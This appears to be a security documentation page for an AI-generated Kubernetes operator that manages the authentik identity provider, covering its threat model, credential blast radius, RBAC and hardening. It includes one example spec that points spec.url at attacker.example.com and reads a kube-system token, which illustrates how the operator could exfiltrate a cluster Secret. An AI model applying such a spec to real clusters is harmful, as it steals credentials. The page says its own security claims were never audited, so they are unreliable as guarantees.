Security¶
This project is fully AI generated
No part of it has been through an independent human security audit. Its threat model, its RBAC and its handling of credentials were all written by a language model. Treat the properties described here as intentions, and verify them against the source before relying on them.
This operator is security-adjacent by construction. It holds authentik API tokens, it can hold kubeconfigs for remote clusters and Docker host credentials, and it generates OAuth2 client secrets. Compromising it is close to compromising the identity provider it configures.
The authoritative policy is SECURITY.md
SECURITY.md in the repository root is the canonical document: supported
versions, the vulnerability reporting process and its response-time
expectations, and the full hardening guidance. This page is an operational
summary of the model, not a replacement.
Reporting a vulnerability¶
Do not open a public issue. Report privately through GitHub private security advisories — the repository's Security → Advisories → Report a vulnerability page. That creates a thread visible only to the maintainers and to you.
Include the affected version or commit, the impact (what an attacker gains and what access they need to start with), and reproduction steps if you have them.
Response-time expectations are in SECURITY.md. There is no bug bounty.
What the operator can access¶
The controller-manager runs as a single Deployment in its own namespace: a
non-root user, a read-only root filesystem, allowPrivilegeEscalation: false,
every Linux capability dropped, and the RuntimeDefault seccomp profile. Within
those limits it has four kinds of reach.
- The Kubernetes API, via its ServiceAccount. It watches its custom
resources across all namespaces by default, reads
Secrets referenced by connections, and writesSecrets holding generated credentials. - The authentik REST API, via tokens read from those
Secrets. Whatever the token can do, the operator can do. - Remote clusters and Docker hosts, indirectly — it reads the credentials a service connection needs and passes them to authentik.
- The network, including whatever
spec.urlpoints at. A connection object is a request for the operator to make an authenticated outbound HTTP call to an address the object's author chose.
Operator logs are sensitive
The operator never logs token or secret values. It does record Secret
names and namespaces in events, conditions and logs — which is a useful map
of the cluster for an attacker. Treat the logs accordingly.
Blast radius per credential¶
| Credential | Held where | If it leaks |
|---|---|---|
| authentik API token | A Secret named by a connection |
Full control of authentik up to the token's own permissions. An admin token can create users, rewrite flows, and mint access to every application authentik fronts. |
| Generated OAuth2 client secret | A Secret the operator writes |
Impersonation of that client. Depending on the flow, that can mean signing in as arbitrary users of the application. |
| SAML signing key material | A Secret referenced by a SAMLProvider |
Forged assertions — sign-in as any user, at any service provider trusting that key. |
Kubeconfig (KubernetesServiceConnection) |
A Secret referenced by the connection |
Whatever it grants in the target cluster. Outpost deployment requires creating workloads, so these are rarely low-privilege. |
Docker credentials (DockerServiceConnection) |
A Secret referenced by the connection |
Control of the Docker daemon, which on most hosts is equivalent to root on that host. |
| The operator's ServiceAccount token | Projected into the manager Pod | Read access to every Secret the operator may read, plus the ability to rewrite the resources it manages. |
The sharpest edge: ClusterAuthentikConnection¶
Creating one is a cluster-admin-level privilege
A ClusterAuthentikConnection is cluster-scoped and names, in its own spec,
the namespace its token Secret lives in — and that field accepts any
namespace. The operator therefore holds cluster-wide get secrets.
Anyone who can create or update one can make the operator read any Secret
in the cluster. Combined with a spec.url they control, they can have the
operator send it to them as a bearer token.
Treat create and update on this kind as equivalent to cluster-wide
get secrets.
spec:
url: https://attacker.example.com # a host they own
tokenSecretRef:
namespace: kube-system # not theirs
name: some-controller-token
key: token
Nothing there is a bug. It is the inherent cost of a cluster-scoped credential reference, which is why the RBAC guidance below is blunt.
What the design does guarantee¶
The token is resolved only from spec.tokenSecretRef.namespace
Never from the namespace of the resource that referenced the connection, and never from the operator's own namespace. There is no fallback and no default; a connection whose spec does not name a namespace is rejected.
This closes the classic operator privilege-escalation bug: a tenant in
namespace A cannot reference a cluster connection and have the operator
quietly pick up a Secret of their choosing. They get exactly the Secret
the cluster administrator who wrote the connection selected.
Recorded as a binding constraint in ADR 0001, not as a convention.
The namespaced AuthentikConnection carries no cross-namespace reach at
all: its tokenSecretRef has no namespace field. Creating one manufactures no
privilege — if you can create it in a namespace, you could already read that
namespace's Secrets.
A tenant referencing a cluster connection obtains the use of a token, never
its bytes. The operator does not copy it into their namespace, echo it in
status, or log it.
Hardening¶
Scope the authentik token¶
Create a dedicated authentik service account rather than reusing a human administrator's token. Grant it only what the kinds you actually use require — if you never create outposts, it needs no outpost permissions.
Give each tenant or environment its own token and its own AuthentikConnection.
A single shared admin token behind a ClusterAuthentikConnection collapses every
tenant into one blast radius.
Rotate on a schedule. The operator rereads its Secret, so rotation is a
Secret update — see Creating an API token.
Restrict who may create connections¶
Connection objects are the privilege boundary. Providers and applications are comparatively harmless; connections are not.
ClusterAuthentikConnection: cluster administrators only. It belongs in no role bound to tenants, application teams or CI service accounts.AuthentikConnection: per namespace, to the team owning it. Creating one also chooses whichSecretin that namespace the operator reads, so it is roughly equivalent toget secretsthere.- Audit both. A new
ClusterAuthentikConnectionin a cluster that did not expect one is a strong signal. - Constrain the fields. A ValidatingAdmissionPolicy, Kyverno or Gatekeeper
rule restricting
spec.urlto an allowlist of hostnames andspec.tokenSecretRef.namespaceto a known set turns "any secret, anywhere it likes" into "a known secret, to a known endpoint".
A tenant role that grants the namespaced kinds and nothing else is shown in Connections.
Limit the operator's own reach¶
- Set
watchNamespacesto the namespaces you actually use. - Keep
metrics.secure: true(the default) so the metrics endpoint requires a token that passes a SubjectAccessReview. - Keep
enableHTTP2: false(the default) — HTTP/2 has a history of denial-of-service CVEs and these endpoints gain nothing from it. - Do not grant RBAC beyond the generated
manager-role. If you never installClusterAuthentikConnection, strip the cluster-wideget secretsthat exists only to serve it. - Run the operator in its own namespace with no other workloads, so a namespace compromise does not hand over its ServiceAccount token.
Network policy¶
The operator needs egress to the Kubernetes API server and to your authentik endpoint. Nothing else.
- Default-deny egress on the operator namespace, then allow only those two. If authentik is in the same cluster, target it by namespace and pod selector rather than by IP.
- Ingress only from your metrics scraper on the metrics port, and the kubelet on the probe port.
This is the cheapest meaningful mitigation available
With egress locked down, a hostile spec.url cannot reach an
attacker-controlled endpoint. It does not remove the underlying privilege —
a cluster-internal endpoint is still reachable — but it blunts the
ClusterAuthentikConnection exfiltration path considerably.
A NetworkPolicy can be shipped with the release via the chart's extraObjects
value.
Protect the generated secrets¶
The Secrets the operator writes hold live OAuth2 client secrets.
- Enable encryption at rest.
- Scope
get secretsin those namespaces to the workloads that need them. - Remember that anything syncing
Secrets out of the cluster — GitOps tooling, backup jobs, log shippers — extends the blast radius with it.
See Credentials for the lifecycle.
Safety defaults worth knowing¶
Two defaults exist specifically to prevent quiet damage. Both are documented as architecture decisions, and both can be overridden — deliberately.
adoptionPolicy: FailOnConflict-
The operator refuses to take over a pre-existing authentik object with a matching name. authentik keys objects by name/slug rather than by Kubernetes UID, so collisions are routine — and silent adoption is how an operator quietly overwrites a hand-tuned production object. For an identity provider that means rotated client secrets and a broken login.
AdoptExistingis the explicit opt-in. - Two connection scopes
-
The namespaced kind is the documented default precisely because it manufactures no privilege. The cluster-scoped kind exists for single-tenant clusters and is a deliberate, auditable opt-in.
AI-generation provenance¶
Every file in this repository was generated by an AI system. For security review specifically:
- Plausible-looking controls may do nothing. Generated code can produce a
check that reads correctly and validates nothing. The cross-namespace
Secretresolution rule above is exactly the kind of control worth verifying against the source rather than trusting the prose. - The threat model is asserted, not derived. It was not produced by adversarial review of a running system.
- Dependencies were chosen by generation, not by a supply-chain policy.
If you are evaluating this for production, treat it as unreviewed third-party code from an anonymous author, because functionally that is what it is. Security reports are genuinely welcome.
See also¶
SECURITY.mdin the repository root — the canonical policy.- Connections — the two kinds, and RBAC for them.
- Credentials — generated secrets and rotation.
- ADR 0001, ADR 0002